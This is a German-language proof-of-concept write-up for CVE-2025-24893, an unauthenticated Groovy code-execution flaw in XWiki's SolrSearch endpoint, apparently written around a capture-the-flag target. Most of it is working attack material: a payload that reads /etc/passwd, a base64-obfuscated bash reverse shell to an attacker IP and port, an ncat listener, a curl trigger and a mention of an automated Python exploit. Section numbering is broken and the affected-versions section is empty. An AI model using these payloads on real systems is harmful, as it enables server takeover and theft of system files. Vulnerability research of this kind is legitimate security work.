CVE-2025-24893 – Nicht authentifizierte Remotecodeausführung in XWiki

0 Inhaltsverzeichnis

1. Zusammenfassung
2. Details zur Sicherheitslücke
3. Betroffene Versionen
4. Proof-of-Concept
   • 4.1 Payload erstellen
   • 4.2 Manuelle Ausnutzung
   • 4.3 Automatisiertes Python-Exploit
5. Gegenmaßnahmen
6. Quellen & Referenzen

1 Zusammenfassung

• CVE: 2025-24893
• Komponente: SolrSearch-Makro (XWiki-Benutzeroberfläche)
• Schweregrad: 9,8 / KRITISCH (CVSS 3.1)
• Angriffsvektor: Nicht authentifizierter HTTP-GET
• Auswirkungen: Beliebige Groovy-Ausführung → systemweite RCE (Berechtigungen des Jetty/Tomcat-Benutzers)

Der Endpunkt /xwiki/bin/get/Main/SolrSearch verkettet ungeprüfte text=-Eingaben direkt in eine Freemarker-Vorlage.
Durch vorzeitiges Schließen der Vorlage und Öffnen eines neuen {{groovy}} … {{/groovy}}-Blocks kann ein Angreifer ohne Authentifizierung beliebigen Groovy-Code ausführen.

2 Details zur Sicherheitslücke

GET /xwiki/bin/get/Main/SolrSearch?media=rss\&text=<<<USER-DATA>>>  HTTP/1.1

SolrSearch sollte den übergebenen Text als reinen Inhalt einbetten, aber der Makro-Handler versäumt es, }}} zu escapen, sodass Folgendes geschieht:

1. }}} schließt den aktuellen Freemarker-Block.
2. Der Angreifer öffnet ein neues Makro:

   {{async async=false}}{{groovy}} … {{/groovy}}{{/async}}

• async=false erzwingt synchrone Ausführung (funktioniert auch für Gäste).

3. Groovy wird mit den Berechtigungen des XWiki-JVM-Prozesses ausgeführt.

Ein minimaler PoC, der /etc/passwd ausgibt:

}}}{{async async=false}}{{groovy}}println("cat /etc/passwd".execute().text){{/groovy}}{{/async}}

URL-kodierte Variante (Leerzeichen → %20, geschweifte Klammern → %7B/%7D, usw.):

%7d%7d%7d%7b%7basync%20async%3dfalse%7d%7d%7b%7bgroovy%7d%7dprintln(%22cat%20/etc/passwd%22.execute().text)%7b%7b%2fgroovy%7d%7d%7b%7b%2fasync%7d%7d

3 Betroffene Versionen

(Quelle: OffSec Advisory & XWiki SEC-S 2025-02)

5 Proof of Concept

5.1 Payload erstellen

RHOST="editor.htb:8080"
LHOST="10.10.14.8"
LPORT=4444

# 1.   Einzeiler-Reverse-Shell
SHELL="bash -c 'bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1'"

# 2.   Base64 (einzeilig)
B64=$(echo -n "$SHELL" | base64 -w0)

# 3.   In Groovy-Makro einbetten
RAW='}}}{{async async=false}}{{groovy}}"bash -c {echo,'$B64'}|{base64,-d}|{bash,-i}".execute(){{/groovy}}{{/async}}'

# 4.   URL-kodieren
PAYLOAD=$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1],safe=''))" "$RAW")

5.2 Manuelle Ausnutzung

# Listener starten
sudo ncat -lvnp 4444

# Exploit auslösen
curl "http://$RHOST/xwiki/bin/get/Main/SolrSearch?media=rss&text=${PAYLOAD}"

5.3 Automatisiertes Exploit

xwiki_solr_rce.py befindet sich im Verzeichnis exploit/ (siehe Codeblock unten).

python CVE-2025-24893.py -u <ZIEL-URL> -l <IP> -p <PORT>

wobei

<ZIEL-URL> - URL inklusive http:// oder https://

(Mit -c "id" kann ein beliebiger Befehl anstelle einer Shell ausgeführt werden)

6 Gegenmaßnahmen

• Upgrade auf 15.10.11 / 14.10.17 oder neuer
• Temporärer Workaround: Makro deaktivieren

# /etc/xwiki/xwiki.properties
solr.search.enabled = false

7 Quellen & Referenzen

• OffSec Research: „Unauth RCE in XWiki“ – 20. Februar 2025
• NVD-Eintrag: https://nvd.nist.gov/vuln/detail/CVE-2025-24893
• Exploit-DB #52136

Forschung & PoC: DeX1d

Haftungsausschluss: Nur für Bildungszwecke. Die Ausführung gegen Systeme, die Ihnen nicht gehören, ist illegal.